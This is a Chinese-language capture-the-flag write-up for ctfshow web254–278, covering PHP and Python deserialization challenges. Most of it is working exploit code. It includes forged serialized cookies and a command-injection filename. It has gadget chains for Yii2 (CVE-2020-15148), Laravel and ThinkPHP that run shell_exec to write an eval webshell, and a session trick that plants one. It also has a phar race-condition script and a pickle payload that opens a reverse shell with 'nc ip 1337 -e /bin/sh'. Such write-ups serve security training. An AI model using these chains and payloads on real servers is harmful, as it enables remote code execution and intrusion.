web254
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
传入username和password就行
?username=xxxxxx&password=xxxxxx
web255
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
生成序列化字符串
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$user = new ctfShowUser();
echo(serialize($user));
payload
?username=xxxxxx&password=xxxxxx
Cookie: user=O:11:"ctfShowUser":3:{s:8:"username"%3bs:6:"xxxxxx"%3bs:8:"password"%3bs:6:"xxxxxx"%3bs:5:"isVip"%3bb:1%3b}
这里把Cookie里的;
进行了url编码,不然识别不正确。
web256
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
<?php
class ctfShowUser{
public $username='1';
public $password='2';
public $isVip=true;
}
$user = new ctfShowUser();
echo(serialize($user));
payload
?username=1&password=2
Cookie: user=O:11:"ctfShowUser":3:{s:8:"username"%3bs:1:"1"%3bs:8:"password"%3bs:1:"2"%3bs:5:"isVip"%3bb:1%3b}
web257
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
private变量反序列化后字符前面会有/x00
,使用%00
进行编码。
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = "info";
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code = "system(\"cat flag.php\");";
public function getInfo(){
eval($this->code);
}
}
$user = new ctfShowUser();
$str = str_replace("\x00","%00",serialize($user));
$str = str_replace(";","%3b",$str);
echo $str;
payload
?username=xxxxxx&password=xxxxxx
Cookie: user=O:11:"ctfShowUser":4:{s:21:"%00ctfShowUser%00username"%3bs:6:"xxxxxx"%3bs:21:"%00ctfShowUser%00password"%3bs:6:"xxxxxx"%3bs:18:"%00ctfShowUser%00isVip"%3bb:0%3bs:18:"%00ctfShowUser%00class"%3bO:8:"backDoor":1:{s:14:"%00backDoor%00code"%3bs:23:"system("cat flag.php")%3b"%3b}}
web258
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
正则过滤了O:11
,反序列化字符串的开头。
使用O:+11
格式绕过
直接全部urlencode。
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('cat flag.php');";
public function getInfo(){
eval($this->code);
}
}
$a = new ctfShowUser();
$a = serialize($a);
$a= str_replace('O:', 'O:+',$a);
echo urlencode($a);
payload
?username=xxxxxx&password=xxxxxx
Cookie: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
web259
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
这里考php的原生类SoapClient
这个类中有个__call魔术方法(当调用不存在的方法时触发),会调用SoapClient类的构造方法。
<?php
$post_string = 'token=ctfshow';
$b = new SoapClient(null,
array('location' => 'http://127.0.0.1/flag.php', 'user_agent' => 'ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ' . (string)strlen($post_string) . '\r\n\r\n' . $post_string, 'uri' => "ssrf"));
$a = serialize($b);
echo urlencode($a);
?>
提示没有SoapClient的话,记得在php.ini中的extension中开启。
web260
<?php
?>');
echo urlencode(serialize($a));
web262
<?php
?>');
$a->setStatus(1);
echo(base64_encode("|".serialize($a)));
当在属性值中加入|
,前面部分会被看作键名,后面部分会进行反序列化。
payload
Cookie: PHPSESSID=31fmsqs4jquku9j65eepufq082; limit=fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyMzoiPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4iO3M6Njoic3RhdHVzIjtpOjE7fQ==
//先访问index.php对session赋值,再访问check.php触发反序列化,生成log-1.php
web264
index.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
message.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
使用web262的payload即可。
访问message.php时Cookie加上一个;msg=1
。
web265
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
考察php的按地址传参
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$a = new ctfshowAdmin("aaa","bbb");
$a->password = &$a->token;
echo urlencode(serialize($a));
当token值变化时,password值也会变化。
web266
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
反序列化时不区分类名大小写,可用大小写绕过。
<?php
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$a = new ctfshow('','');
echo serialize($a);
payload
O:7:"cTfshow":2:{s:8:"username";s:0:"";s:8:"password";s:0:"";}
web267
由默认界面格式可以识别出是Yii2框架
先使用弱口令admin/admin
登录
查看about
页面,有注释提示访问?view-source
访问index.php?r=site/about&view-source
///backdoor/shell
unserialize(base64_decode($_GET['code']))
发现网站存在后门,这里提供了反序列化入口点。
Yii2存在反序列化漏洞version<2.0.38
(CVE-2020-15148)
该漏洞在2.0.38中修复,但存在许多绕过链,参考文章
这里YII2版本为2.0.37,直接使用原始链。
查看版本路径:/var/www/html/basic/vendor/yiisoft/yii2/BaseYii.php
使用反序列化漏洞写shell
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ |base64 -d | tee 1.php';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
payload
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6NjA6ImVjaG8gUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE96OCsgfGJhc2U2NCAtZCB8IHRlZSAxLnBocCI7fWk6MTtzOjM6InJ1biI7fX19fQ==
web268
上一题过滤了system
这题过滤了system和close,
上题的链无法使用,换另一条链。
class BackdoorController extends Controller{
public function actionShell($code){
if(!preg_match('/system|close/', base64_decode($code))){
return unserialize(base64_decode($code));
}
return '';
}
}
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ |base64 -d | tee 1.php';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
web269
又添加了过滤
/var/www/html/basic/controllers/BackdoorController.php
class BackdoorController extends Controller{
public function actionShell($code){
if(!preg_match('/system|close|Running/', base64_decode($code))){
return unserialize(base64_decode($code));
}
return '';
}
}
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ |base64 -d | tee 1.php';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
web270
又又是绕过
class BackdoorController extends Controller{
public function actionShell($code){
if(!preg_match('/system|close|Running|render/', base64_decode($code))){
return unserialize(base64_decode($code));
}
return '';
}
}
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ |base64 -d | tee 1.php';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
web271
开始考察Laravel框架的反序列化漏洞
(CVE-2019-9081)Laravel v5.7.x 反序列化rce
去cve.mitre.org搜这个漏洞,发现漏洞编号被撤销了,因为官方不认为这是一个安全问题😅
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
);
$application = new Illuminate\Foundation\Application(
array(
"Illuminate\Contracts\Console\Kernel"=>
array(
"concrete"=>"Illuminate\Foundation\Application"
)
)
);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
"system",array('cat /flag'),
$genericuser,
$application
);
echo urlencode(serialize($pendingcommand));
}
?>
web272
上题的链子被过滤了,而且上题的链只在5.7存在。
发现了一篇Laravel<=5.5 POP链
<?php
namespace Mockery\Generator {
class MockConfiguration {
protected $name = 'H3rmesk1t';
}
class MockDefinition {
protected $config;
protected $code;
public function __construct() {
$this->config = new MockConfiguration();
$this->code = "<?php system('cat /flag');?>";
}
}
}
namespace Mockery\Loader {
class EvalLoader {}
}
namespace Illuminate\Bus {
use Mockery\Loader\EvalLoader;
class Dispatcher {
protected $queueResolver;
public function __construct() {
$this->queueResolver = [new EvalLoader(), 'load'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
use Mockery\Generator\MockDefinition;
class BroadcastEvent {
public $connection;
public function __construct() {
$this->connection = new MockDefinition();
}
}
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = new BroadcastEvent();
}
}
echo urlencode(serialize(new PendingBroadcast()));
}
?>
web273
继续用上题的链子
web274
ThinkPHP 5.1.x 中的反序列化利用链
<?php
namespace think{
abstract class Model{
private $withAttr = [];
private $data = [];
public function __construct($function,$parameter){
$this->data['smi1e'] = $parameter;
$this->withAttr['smi1e'] = $function;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{}
}
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct($function,$parameter){
$this->files = [new Pivot($function,$parameter)];
}
}
$function = 'system';
$parameter = 'cat /flag';
$aaa = new Windows($function,$parameter);
echo base64_encode(serialize($aaa));
}
web275
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
这题思路有点意思,我还以为需要写shell,但看了下没有办法绕过检查,利用点在__destruct
函数中的命令执行存在命令注入漏洞。
构造payload
1.php;cat flag.php
web276
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
增加了admin属性的检查,上题方法无法利用,需要利用phar反序列化。
生成phar文件,需要设置php.ini中的配置如下
[Phar]
; http://php.net/phar.readonly
phar.readonly = Off
生成phar脚本
<?php
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
}
$a=new filter(';cat fla?.php','1');
$a->admin = true;
$a->evilfile = true;
$phar = new Phar('1.phar');
$phar->setStub('<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','dky');
?>
根据上面参考文章file_put_contents
能够触发phar反序列化,但是我们上传的phar文件会被删除,然后重命名一个txt文件,这里可以利用条件竞争去访问到我们刚上传的phar文件.
import requests
import threading
import time
success = False
# 获取文件数据
def getPhar(phar):
with open(phar,'rb') as f:
data = f.read()
return data
# 写phar文件
def writePhar(url, data):
requests.post(url, data)
# 触发反序列化
def usePhar(url, data):
global success
r = requests.post(url, data).text
if 'ctfshow{' in r and success is False:
print(r)
success =True
def main():
global success
url = 'http://0af389e8-5a88-446a-bd3a-e61a09c9b19d.challenge.ctf.show/'
phar = getPhar('1.phar')
while success is False:
time.sleep(1)
w = threading.Thread(target=writePhar, args=(url+'?fn=1.phar', phar))
s = threading.Thread(target=usePhar, args=(url+'?fn=phar://1.phar/1.txt', ''))
w.start()
s.start()
if __name__ == '__main__':
main()
web277
python中的pickle反序列化
payload
import pickle
import os
import base64
import requests
class genpoc(object):
def __reduce__(self):
s = """nc ip 1337 -e /bin/sh""" # 要执行的命令
return os.popen, (s,) # reduce函数必须返回元组或字符串
e = genpoc()
poc = pickle.dumps(e)
print(poc) # 此时,如果 pickle.loads(poc),就会执行命令
c = base64.b64encode(poc)
print(c)
url="http://a084eafb-f2b2-4846-8da3-918a045b17d5.challenge.ctf.show/backdoor"
params={'data':c}
r=requests.get(url=url,params=params)
print(r.text)
后台源码如下
from flask import Flask,request
import pickle
import base64
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'where is flag?<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->'
@app.route('/backdoor')
def backdoor():
data=request.args.get('data')
m=base64.b64decode(data)
m=pickle.loads(m)
return 'backdoor here'
if __name__ == "__main__":
app.run(host="0.0.0.0", port=80)
web278
后台源码如下
from flask import Flask,request
import pickle
import base64
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'where is flag?<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->'
@app.route('/backdoor')
def backdoor():
data=request.args.get('data')
m=base64.b64decode(data)
if str(m).find('system')<0:
m=pickle.loads(m)
return 'backdoor here'
if __name__ == "__main__":
app.run(host="0.0.0.0", port=80)
使用os.popen
函数就可以了,上题不知道为啥os.system
报internal error,所以都用的os.popen
参考
感谢gkjzjh146的Writeup,写得很仔细。😘